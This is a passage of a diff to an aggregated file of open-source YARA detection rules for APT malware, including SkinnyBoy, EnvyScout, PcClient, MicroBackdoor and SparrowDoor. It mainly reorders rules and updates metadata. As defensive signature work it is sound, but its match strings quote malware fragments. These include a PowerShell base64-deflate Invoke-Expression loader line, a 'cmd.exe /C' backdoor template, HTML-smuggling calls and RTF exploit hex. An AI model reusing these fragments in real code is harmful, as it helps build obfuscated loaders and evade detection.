5? 6A 08 FF [1-6] FF ?? ?? ?? ?? ?? [0-6] 8B ?? [0-6] 8?} + $xor_cycle = { 8A 8C ?? ?? ?? ?? ?? 30 8C ?? ?? ?? ?? ?? 42 3B D0 72 } condition: - ( uint16( 0 ) == 0x5a4d and all of them ) + uint16( 0 ) == 0x5a4d and pe.is_dll ( ) and filesize < 100KB and $xor_cycle and $heap_ops and $enc_string } rule CLUSTER25_UNC1222_Hermeticwiper_23433_10001 : FILE { @@ -170941,89 +170850,70 @@ rule CLUSTER25_UNC1222_Hermeticwiper_23433_10001 : FILE condition: ( uint16( 0 ) == 0x5a4d and all of them ) } -rule CLUSTER25_Sidewinder_Apt_Rtf_Cve_2017_0199 : FILE +rule CLUSTER25_Ghostwriter_Microbackdoor_72632_00001 : FILE { meta: description = "No description has been set in the source file - Cluster25" author = "Cluster25" - id = "0c44f22e-6b21-5dfb-9812-7d8d14e08c1a" - date = "2021-09-09" + id = "b50ca459-bb0b-567d-968c-772f73f22eb4" + date = "2023-04-10" modified = "2023-04-10" - reference = "https://21649046.fs1.hubspotusercontent-na1.net/hubfs/21649046/a_rattlesnake_in_the_navy.pdf" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/sidewinder_apt_rtf_cve_2017_0199.yar#L2-L18" + reference = "https://blog.cluster25.duskrise.com/2022/03/08/ghostwriter-unc1151-adopts-microbackdoor-variants-in-cyber-operations-against-targets-in-ukraine" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/GhostWriter_MicroBackdoor_72632_00001.yar#L1-L15" license_url = "N/A" - logic_hash = "63c7b8c251a906ea9ea81a7ea838506cd2c0304b4d197eaff8cd3bac99f860ac" + logic_hash = "cb58d374036f0e52299adb2c7b6795a3610e9d3b29be041d4aa32b44b19a1680" score = 75 quality = 75 tags = "FILE" - hash1 = "282367417cdc711fbad33eb6988c172c61a9a57d9f926addaefabc36cac3c004" - hash2 = "6d021166bdde0eab22fd4a9f398fdd8ccf8b977ff33a77c518f8d16e56d3eeee" + hash1 = "559d8e8f2c60478d1c057b46ec6be912fae7df38e89553804cc566cac46e8e91" + tlp = "white" strings: - $head = "{\\rtf1" ascii - $obj = "objdata 0105000002000000" ascii - $expl = "6D007300680074006D006C000000FFD7E8130000006E756E48544D4C4170706C69636174696F6E" ascii - $s1 = "416374697665584F626A656374" ascii nocase - $s2 = "5176524d384b4e4734504332565a55753765497764426f72686974366761416259796d356c4563306a4453576e585431334a7173467870484f666b7a4c392b2f3d" ascii nocase - $s3 = "62203e3e2031362026203235352c2062203e3e20382026203235352c2062202620323535" ascii nocase + $ = "cmd.exe /C \"%s%s\"" fullword wide + $ = "client.dll" fullword ascii + $ = "ERROR: Unknown command" fullword ascii + $ = " *** ERROR: Timeout occured" fullword ascii + $ = "%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword ascii + $ = "MIIDazCCAlOgAwIBAgIUWOftflCclQXpmWMnL1ewj2F5Y1AwDQYJKoZIhvcNAQEL" fullword ascii condition: - $head at 0 and $obj and $expl and 2 of ( $s* ) + ( uint16( 0 ) == 0x5a4d and all of them ) } -rule CLUSTER25_APT28_Skinnyboy_Implanter : RUSSIAN THREAT ACTOR FILE -{ - meta: - description = "No description has been set in the source file - Cluster25" - author = "Cluster25" - id = "c44faf95-a64c-58f4-97d4-2fe17aefc813" - date = "2021-05-24" - modified = "2023-04-10" - reference = "https://21649046.fs1.hubspotusercontent-na1.net/hubfs/21649046/2021-05_FancyBear.pdf" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/APT28_SkinnyBoy_Implanter.yar#L2-L16" - license_url = "N/A" - hash = "ae0bc3358fef0ca2a103e694aa556f55a3fed4e98ba57d16f5ae7ad4ad583698" - logic_hash = "f5b8944910297988ecf5aecf23d20c384cf141a3a0972baadfacc4969dc46e7c" - score = 75 - quality = 75 - tags = "RUSSIAN, THREAT, ACTOR, FILE" - - strings: - $enc_string = {F3 0F 7E 05 ?? ?? ?? ?? 6? [5] 6A ?? 66 [6] 66 [7] F3 0F 7E 05 ?? ?? ?? ?? 8D -85 [4] 6A ?? 50 66 [7] E8} - $heap_ops = {8B [1-5] 03 ?? 5? 5? 6A 08 FF [1-6] FF ?? ?? ?? ?? ?? [0-6] 8B ?? [0-6] 8?} - $xor_cycle = { 8A 8C ?? ?? ?? ?? ?? 30 8C ?? ?? ?? ?? ?? 42 3B D0 72 } - - condition: - uint16( 0 ) == 0x5a4d and pe.is_dll ( ) and filesize < 100KB and $xor_cycle and $heap_ops and $enc_string -} -rule CLUSTER25_APT29_Htmlsmuggling_ZIP_82733_00001 : FILE +rule CLUSTER25_APT29_Loader_87221_00001 : FILE { meta: - description = "Rule to detect the EnvyScout HTML smuggling with ZIP payload used in the APT29/Nobelium APT29 chain" + description = "Detects DLL loader variants used in Nobelium kill-chain" author = "Cluster25" - id = "edc2fc67-482f-594e-9b10-f738b9e34c4a" - date = "2022-05-12" + id = "cbee0268-d346-5246-9c2c-97a01ec2e0b3" + date = "2023-04-10" modified = "2023-04-10" reference = "https://blog.cluster25.duskrise.com/2022/05/13/cozy-smuggled-into-the-box" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/APT29_HTMLSmuggling_ZIP_82733_00001.yar#L1-L16" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/APT29_Loader_87221_00001.yar#L2-L28" license_url = "N/A" - hash = "d5c84cbd7dc70e71f3eb24434a58b2f149d0c39faa7e4157552b60c7dbb53d11" - logic_hash = "ec51d08551af64100f0f22ef61470ea930be7a457c5aba84e8e00cd9b423616d" + logic_hash = "7de041baa35b6b07c11c5f08d456a717007ae356e35e296ec4288cf0293a1d7e" score = 75 quality = 75 tags = "FILE" + tlp = "white" + hash1 = "6fc54151607a82d5f4fae661ef0b7b0767d325f5935ed6139f8932bc27309202" + hash2 = "23a09b74498aea166470ea2b569d42fd661c440f3f3014636879bd012600ed68" strings: - $s1 = "new Blob(" - $s2 = "new Uint8Array(" - $s3 = "application/octet-stream" - $t1 = "saveAs(" - $t2 = "download(" - $r1 = { 66 6F 72 28 76 61 72 20 69 20 3D 20 30 78 30 3B 20 69 20 3C 20 64 5B 27 6C 65 6E 67 74 68 27 5D 3B 20 69 2B 2B 29 20 7B 0A 20 20 20 20 64 5B 69 5D 20 3D 20 64 5B 69 5D } + $s1 = "%s\\blank.pdf" fullword ascii + $s2 = "%s\\AcroSup" fullword ascii + $s3 = "vcruntime140.dll" fullword ascii + $s4 = "ME3.99.5UUUUUUUUUUU" fullword ascii + $c1 = "Rock" fullword ascii + $c2 = ".mp3" fullword ascii + $c3 = "%s.backup" fullword ascii + $sequence1 = { C7 45 ?? 0B 00 10 00 48 8B CF FF 15 ?? ?? ?? 00 85 C0 74 ?? 48 8D 55 ?? 48 89 75 ?? 48 8B CF FF 15 ?? ?? ?? 00 85 C0 74 ?? 48 8B CF FF 15 ?? ?? ?? 00 } + $sequence2 = { 0F B6 0B 4C 8D 05 ?? ?? ?? 00 89 4C 24 ?? 4D 8B CD 49 8B CD BA 04 01 00 00 E8 ?? ?? ?? ?? 48 8D 5B 01 48 83 EF 01 75 ?? } + $sequence3 = { 4C 8D 8C 24 ?? 00 00 00 8B 53 ?? 44 8D 40 ?? 48 03 CD 44 89 A4 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 8B 43 ?? 44 8B 43 ?? 4A 8D 14 38 48 8D 0C 28 E8 ?? ?? 00 00 8B 4B ?? 4C 8D 8C 24 ?? 00 00 00 8B 53 ?? 48 03 CD 44 8B 84 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 } + $sequence4 = { 42 0F B6 8C 32 ?? ?? ?? 00 48 83 C2 03 88 0F 48 8D 7F 01 48 83 FA 2D 7C E7 } condition: - ( filesize > 500KB and all of ( $s* ) and ( $t1 or $t2 ) and $r1 ) + uint16( 0 ) == 0x5a4d and filesize < 200KB and pe.imports ( "kernel32.dll" , "SetThreadContext" ) and pe.imports ( "kernel32.dll" , "ResumeThread" ) and pe.imports ( "kernel32.dll" , "K32GetModuleFileNameExA" ) and 3 of ( $s* ) and all of ( $c* ) and 3 of ( $sequence* ) } rule CLUSTER25_APT28_Skinnyboy_Launcher : RUSSIAN THREAT ACTOR FILE { @@ -171085,11 +170975,68 @@ rule CLUSTER25_Ghostwriter_Microloader_72632_00001 : FILE condition: ( uint16( 0 ) == 0x5a4d and all of them ) } +rule CLUSTER25_APT29_Htmlsmuggling_ZIP_82733_00001 : FILE +{ + meta: + description = "Rule to detect the EnvyScout HTML smuggling with ZIP payload used in the APT29/Nobelium APT29 chain" + author = "Cluster25" + id = "edc2fc67-482f-594e-9b10-f738b9e34c4a" + date = "2022-05-12" + modified = "2023-04-10" + reference = "https://blog.cluster25.duskrise.com/2022/05/13/cozy-smuggled-into-the-box" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/APT29_HTMLSmuggling_ZIP_82733_00001.yar#L1-L16" + license_url = "N/A" + hash = "d5c84cbd7dc70e71f3eb24434a58b2f149d0c39faa7e4157552b60c7dbb53d11" + logic_hash = "ec51d08551af64100f0f22ef61470ea930be7a457c5aba84e8e00cd9b423616d" + score = 75 + quality = 75 + tags = "FILE" + + strings: + $s1 = "new Blob(" + $s2 = "new Uint8Array(" + $s3 = "application/octet-stream" + $t1 = "saveAs(" + $t2 = "download(" + $r1 = { 66 6F 72 28 76 61 72 20 69 20 3D 20 30 78 30 3B 20 69 20 3C 20 64 5B 27 6C 65 6E 67 74 68 27 5D 3B 20 69 2B 2B 29 20 7B 0A 20 20 20 20 64 5B 69 5D 20 3D 20 64 5B 69 5D } + + condition: + ( filesize > 500KB and all of ( $s* ) and ( $t1 or $t2 ) and $r1 ) +} +rule CLUSTER25_Sidewinder_Apt_Rtf_Cve_2017_0199 : FILE +{ + meta: + description = "No description has been set in the source file - Cluster25" + author = "Cluster25" + id = "0c44f22e-6b21-5dfb-9812-7d8d14e08c1a" + date = "2021-09-09" + modified = "2023-04-10" + reference = "https://21649046.fs1.hubspotusercontent-na1.net/hubfs/21649046/a_rattlesnake_in_the_navy.pdf" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cluster 25/sidewinder_apt_rtf_cve_2017_0199.yar#L2-L18" + license_url = "N/A" + logic_hash = "63c7b8c251a906ea9ea81a7ea838506cd2c0304b4d197eaff8cd3bac99f860ac" + score = 75 + quality = 75 + tags = "FILE" + hash1 = "282367417cdc711fbad33eb6988c172c61a9a57d9f926addaefabc36cac3c004" + hash2 = "6d021166bdde0eab22fd4a9f398fdd8ccf8b977ff33a77c518f8d16e56d3eeee" + + strings: + $head = "{\\rtf1" ascii + $obj = "objdata 0105000002000000" ascii + $expl = "6D007300680074006D006C000000FFD7E8130000006E756E48544D4C4170706C69636174696F6E" ascii + $s1 = "416374697665584F626A656374" ascii nocase + $s2 = "5176524d384b4e4734504332565a55753765497764426f72686974366761416259796d356c4563306a4453576e585431334a7173467870484f666b7a4c392b2f3d" ascii nocase + $s3 = "62203e3e2031362026203235352c2062203e3e20382026203235352c2062202620323535" ascii nocase + + condition: + $head at 0 and $obj and $expl and 2 of ( $s* ) +} /* * YARA Rule Set * Repository Name: Dragon Threat Labs * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9 * Number of Rules: 7 * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance) @@ -171108,7 +171055,7 @@ rule DRAGON_THREAT_LABS_Apt_C16_Win_Memory_Pcclient : MEMORY APT date = "2015-01-11" modified = "2016-09-27" reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L4-L19" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/apt_c16_win_memory_pcclient.yar#L4-L19" license_url = "N/A" hash = "ec532bbe9d0882d403473102e9724557" logic_hash = "e863fcbcbde61db569a34509061732371143f38734a0213dc856dc3c9188b042" @@ -171125,134 +171072,6 @@ rule DRAGON_THREAT_LABS_Apt_C16_Win_Memory_Pcclient : MEMORY APT condition: all of them } -rule DRAGON_THREAT_LABS_Apt_C16_Win_Disk_Pcclient : DISK -{ - meta: - description = "Encoded version of pcclient found on disk" - author = "@dragonthreatlab" - id = "40e9133c-60e8-5fec-be56-1115c8bde9b1" - date = "2015-01-11" - modified = "2016-09-27" - reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L21-L33" - license_url = "N/A" - hash = "55f84d88d84c221437cd23cdbc541d2e" - logic_hash = "47e9588ef1f350ee0d2aecc7686d9e4df1ad6c19f27d749e31340eff7e31adcb" - score = 75 - quality = 80 - tags = "DISK" - - strings: - $header = {51 5C 96 06 03 06 06 06 0A 06 06 06 FF FF 06 06 BE 06 06 06 06 06 06 06 46 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 EE 06 06 06 10 1F BC 10 06 BA 0D D1 25 BE 05 52 D1 25 5A 6E 6D 73 26 76 74 6F 67 74 65 71 26 63 65 70 70 6F 7A 26 64 69 26 74 79 70 26 6D 70 26 4A 4F 53 26 71 6F 6A 69 30 11 11 0C 2A 06 06 06 06 06 06 06 73 43 96 1B 37 24 00 4E 37 24 00 4E 37 24 00 4E BA 40 F6 4E 39 24 00 4E 5E 41 FA 4E 33 24 00 4E 5E 41 FC 4E 39 24 00 4E 37 24 FF 4E 0D 24 00 4E FA 31 A3 4E 40 24 00 4E DF 41 F9 4E 36 24 00 4E F6 2A FE 4E 38 24 00 4E DF 41 FC 4E 38 24 00 4E 54 6D 63 6E 37 24 00 4E 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 56 49 06 06 52 05 09 06 5D 87 8C 5A 06 06 06 06 06 06 06 06 E6 06 10 25 0B 05 08 06 06 1C 06 06 06 1A 06 06 06 06 06 06 E5 27 06 06 06 16 06 06 06 36 06 06 06 06 06 16 06 16 06 06 06 04 06 06 0A 06 06 06 06 06 06 06 0A 06 06 06 06 06 06 06 06 76 06 06 06 0A 06 06 06 06 06 06 04 06 06 06 06 06 16 06 06 16 06 06} - - condition: - $header at 0 -} -rule DRAGON_THREAT_LABS_Apt_C16_Win32_Dropper : DROPPER FILE -{ - meta: - description = "APT malware used to drop PcClient RAT" - author = "@dragonthreatlab" - id = "a1546f02-f01b-50ba-b4d9-9676e52dc4c1" - date = "2015-01-11" - modified = "2016-09-27" - reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L35-L52" - license_url = "N/A" - hash = "ad17eff26994df824be36db246c8fb6a" - logic_hash = "bb29bcf5e62cb1a55d7f0cb87b53bace26b99f858513dc4e544d531f70f54281" - score = 75 - quality = 28 - tags = "DROPPER, FILE" - - strings: - $mz = {4D 5A} - $str1 = "clbcaiq.dll" ascii - $str2 = "profapi_104" ascii - $str3 = "/ShowWU" ascii - $str4 = "Software\\Microsoft\\Windows\\CurrentVersion\\" ascii - $str5 = {8A 08 2A CA 32 CA 88 08 40 4E 75 F4 5E} - - condition: - $mz at 0 and all of ( $str* ) -} -rule DRAGON_THREAT_LABS_Apt_C16_Win_Swisyn : MEMORY FILE -{ - meta: - description = "File matching the md5 above tends to only live in memory, hence the lack of MZ header check." - author = "@dragonthreatlab" - id = "af369075-aca3-576d-a10b-849703ffb4f1" - date = "2015-01-11" - modified = "2016-09-27" - reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L54-L70" - license_url = "N/A" - hash = "a6a18c846e5179259eba9de238f67e41" - logic_hash = "2fa29d3b17aa37501131132640953645d0089c9bc5ec13ffed7a498ad89c1558" - score = 75 - quality = 28 - tags = "MEMORY, FILE" - - strings: - $mz = {4D 5A} - $str1 = "/ShowWU" ascii - $str2 = "IsWow64Process" - $str3 = "regsvr32 " - $str4 = {8A 11 2A 55 FC 8B 45 08 88 10 8B 4D 08 8A 11 32 55 FC 8B 45 08 88 10} - - condition: - $mz at 0 and all of ( $str* ) -} -rule DRAGON_THREAT_LABS_Apt_C16_Win_Wateringhole -{ - meta: - description = "Detects code from APT wateringhole" - author = "@dragonthreatlab" - id = "4958f894-91a7-56b4-90f0-40085c03382c" - date = "2015-01-11" - modified = "2016-09-27" - reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L72-L85" - license_url = "N/A" - logic_hash = "e866499ec77984f5bacf3f5e352393b63e0dd08fd8fd57b4990292a1dc7fbcbe" - score = 75 - quality = 80 - tags = "" - - strings: - $str1 = "function runmumaa()" - $str2 = "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(" - $str3 = "function MoSaklgEs7(k)" - - condition: - any of ( $str* ) -} -rule DRAGON_THREAT_LABS_Apt_C16_Win64_Dropper : DROPPER FILE -{ - meta: - description = "APT malware used to drop PcClient RAT" - author = "@dragonthreatlab" - id = "dbd1a16c-52a5-5b07-b34f-7eb7b78c1eab" - date = "2015-01-11" - modified = "2016-09-27" - reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L87-L104" - license_url = "N/A" - logic_hash = "df905711eca68c698ad6340e88ae99fdcae918c86ec2b7c26b62eead54fef892" - score = 75 - quality = 28 - tags = "DROPPER, FILE" - - strings: - $mz = { 4D 5A } - $str1 = "clbcaiq.dll" ascii - $str2 = "profapi_104" ascii - $str3 = "\\Microsoft\\wuauclt\\wuauclt.dat" ascii - $str4 = { 0F B6 0A 48 FF C2 80 E9 03 80 F1 03 49 FF C8 88 4A FF 75 EC } - - condition: - $mz at 0 and all of ( $str* ) -} rule DRAGON_THREAT_LABS_Apt_Win_Mocelpa { meta: @@ -171276,11 +171095,139 @@ rule DRAGON_THREAT_LABS_Apt_Win_Mocelpa condition: ($mz at 0 ) and ( $ssl_hello ) } +rule DRAGON_THREAT_LABS_Apt_C16_Win_Disk_Pcclient : DISK +{ + meta: + description = "Encoded version of pcclient found on disk" + author = "@dragonthreatlab" + id = "40e9133c-60e8-5fec-be56-1115c8bde9b1" + date = "2015-01-11" + modified = "2016-09-27" + reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L21-L33" + license_url = "N/A" + hash = "55f84d88d84c221437cd23cdbc541d2e" + logic_hash = "47e9588ef1f350ee0d2aecc7686d9e4df1ad6c19f27d749e31340eff7e31adcb" + score = 75 + quality = 80 + tags = "DISK" + + strings: + $header = {51 5C 96 06 03 06 06 06 0A 06 06 06 FF FF 06 06 BE 06 06 06 06 06 06 06 46 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 EE 06 06 06 10 1F BC 10 06 BA 0D D1 25 BE 05 52 D1 25 5A 6E 6D 73 26 76 74 6F 67 74 65 71 26 63 65 70 70 6F 7A 26 64 69 26 74 79 70 26 6D 70 26 4A 4F 53 26 71 6F 6A 69 30 11 11 0C 2A 06 06 06 06 06 06 06 73 43 96 1B 37 24 00 4E 37 24 00 4E 37 24 00 4E BA 40 F6 4E 39 24 00 4E 5E 41 FA 4E 33 24 00 4E 5E 41 FC 4E 39 24 00 4E 37 24 FF 4E 0D 24 00 4E FA 31 A3 4E 40 24 00 4E DF 41 F9 4E 36 24 00 4E F6 2A FE 4E 38 24 00 4E DF 41 FC 4E 38 24 00 4E 54 6D 63 6E 37 24 00 4E 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 56 49 06 06 52 05 09 06 5D 87 8C 5A 06 06 06 06 06 06 06 06 E6 06 10 25 0B 05 08 06 06 1C 06 06 06 1A 06 06 06 06 06 06 E5 27 06 06 06 16 06 06 06 36 06 06 06 06 06 16 06 16 06 06 06 04 06 06 0A 06 06 06 06 06 06 06 0A 06 06 06 06 06 06 06 06 76 06 06 06 0A 06 06 06 06 06 06 04 06 06 06 06 06 16 06 06 16 06 06} + + condition: + $header at 0 +} +rule DRAGON_THREAT_LABS_Apt_C16_Win32_Dropper : DROPPER FILE +{ + meta: + description = "APT malware used to drop PcClient RAT" + author = "@dragonthreatlab" + id = "a1546f02-f01b-50ba-b4d9-9676e52dc4c1" + date = "2015-01-11" + modified = "2016-09-27" + reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L35-L52" + license_url = "N/A" + hash = "ad17eff26994df824be36db246c8fb6a" + logic_hash = "bb29bcf5e62cb1a55d7f0cb87b53bace26b99f858513dc4e544d531f70f54281" + score = 75 + quality = 28 + tags = "DROPPER, FILE" + + strings: + $mz = {4D 5A} + $str1 = "clbcaiq.dll" ascii + $str2 = "profapi_104" ascii + $str3 = "/ShowWU" ascii + $str4 = "Software\\Microsoft\\Windows\\CurrentVersion\\" ascii + $str5 = {8A 08 2A CA 32 CA 88 08 40 4E 75 F4 5E} + + condition: + $mz at 0 and all of ( $str* ) +} +rule DRAGON_THREAT_LABS_Apt_C16_Win_Swisyn : MEMORY FILE +{ + meta: + description = "File matching the md5 above tends to only live in memory, hence the lack of MZ header check." + author = "@dragonthreatlab" + id = "af369075-aca3-576d-a10b-849703ffb4f1" + date = "2015-01-11" + modified = "2016-09-27" + reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L54-L70" + license_url = "N/A" + hash = "a6a18c846e5179259eba9de238f67e41" + logic_hash = "2fa29d3b17aa37501131132640953645d0089c9bc5ec13ffed7a498ad89c1558" + score = 75 + quality = 28 + tags = "MEMORY, FILE" + + strings: + $mz = {4D 5A} + $str1 = "/ShowWU" ascii + $str2 = "IsWow64Process" + $str3 = "regsvr32 " + $str4 = {8A 11 2A 55 FC 8B 45 08 88 10 8B 4D 08 8A 11 32 55 FC 8B 45 08 88 10} + + condition: + $mz at 0 and all of ( $str* ) +} +rule DRAGON_THREAT_LABS_Apt_C16_Win_Wateringhole +{ + meta: + description = "Detects code from APT wateringhole" + author = "@dragonthreatlab" + id = "4958f894-91a7-56b4-90f0-40085c03382c" + date = "2015-01-11" + modified = "2016-09-27" + reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L72-L85" + license_url = "N/A" + logic_hash = "e866499ec77984f5bacf3f5e352393b63e0dd08fd8fd57b4990292a1dc7fbcbe" + score = 75 + quality = 80 + tags = "" + + strings: + $str1 = "function runmumaa()" + $str2 = "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(" + $str3 = "function MoSaklgEs7(k)" + + condition: + any of ( $str* ) +} +rule DRAGON_THREAT_LABS_Apt_C16_Win64_Dropper : DROPPER FILE +{ + meta: + description = "APT malware used to drop PcClient RAT" + author = "@dragonthreatlab" + id = "dbd1a16c-52a5-5b07-b34f-7eb7b78c1eab" + date = "2015-01-11" + modified = "2016-09-27" + reference = "http://blog.dragonthreatlabs.com/2015/01/dtl-12012015-01-hong-kong-swc-attack.html" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Dragonthreatlabs/dragonthreatlabs_index.yara#L87-L104" + license_url = "N/A" + logic_hash = "df905711eca68c698ad6340e88ae99fdcae918c86ec2b7c26b62eead54fef892" + score = 75 + quality = 28 + tags = "DROPPER, FILE" + + strings: + $mz = { 4D 5A } + $str1 = "clbcaiq.dll" ascii + $str2 = "profapi_104" ascii + $str3 = "\\Microsoft\\wuauclt\\wuauclt.dat" ascii + $str4 = { 0F B6 0A 48 FF C2 80 E9 03 80 F1 03 49 FF C8 88 4A FF 75 EC } + + condition: + $mz at 0 and all of ( $str* ) +} /* * YARA Rule Set * Repository Name: Microsoft * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9 * Number of Rules: 21 * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance) @@ -171833,7 +171780,7 @@ rule MICROSOFT_Trojan_Win32_Plakpeer : PLATINUM hash = "2155c20483528377b5e3fde004bb604198463d29" logic_hash = "cc34ce9f12c95133872783090efd5813d3e2f44a1c726d29b2ba834509c9a1d5" score = 75 - quality = 55 + quality = 80 tags = "PLATINUM" unpacked_sample_sha1 = "dc991ef598825daabd9e70bac92c79154363bab2" activity_group = "Platinum" @@ -171883,7 +171830,7 @@ rule MICROSOFT_Devilstongue_Hijackdll : FILE * YARA Rule Set * Repository Name: NCSC * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9 * Number of Rules: 17 * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance) @@ -171893,101 +171840,76 @@ rule MICROSOFT_Devilstongue_Hijackdll : FILE * * NO LICENSE SET */ -rule NCSC_Sparrowdoor_Config : FILE -{ - meta: - description = "Targets the XOR encoded loader config and shellcode in the file libhost.dll using the known position of the XOR key." - author = "NCSC" - id = "16eec5b6-c77a-585d-88f3-2c86abdbf2bd" - date = "2022-02-28" - modified = "2022-07-06" - reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_config.yar#L1-L14" - license_url = "N/A" - logic_hash = "bd52496b6e7cabc875a277ce7d49f6b891c3f61591edef295dbee43716c15509" - score = 75 - quality = 80 - tags = "FILE" - hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f" - - condition: - ( uint16( 0 ) != 0x5A4D ) and ( uint16( 0 ) != 0x8b55 ) and ( uint32( 0 ) ^ uint32( 0x4c ) == 0x00 ) and ( uint32( 0 ) ^ uint32( 0x34 ) == 0x00 ) and ( uint16( 0 ) ^ uint16( 0x50 ) == 0x8b55 ) -} -rule NCSC_Sparrowdoor_Xor +rule NCSC_Sparrowdoor_Sleep_Routine { meta: - description = "Highlights XOR routines in SparrowDoor. No MZ/PE match as the backdoor has no header. Targeting in memory." + description = "SparrowDoor implements a Sleep routine with value seeded on GetTickCount. This signature detects the previous and this variant of SparrowDoor. No MZ/PE match as the backdoor has no header." author = "NCSC" - id = "9c07feea-91fc-528e-91ac-14d09fa1fc10" + id = "9a0aa77d-7dbe-5007-b875-211cf528614b" date = "2022-02-28" modified = "2022-07-06" reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_xor.yar#L1-L14" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_sleep_routine.yar#L1-L12" license_url = "N/A" - logic_hash = "3244e9017e5a0bf1c54e03b3191a5c695b2c1586b3ed4c529742f9b48903a348" + logic_hash 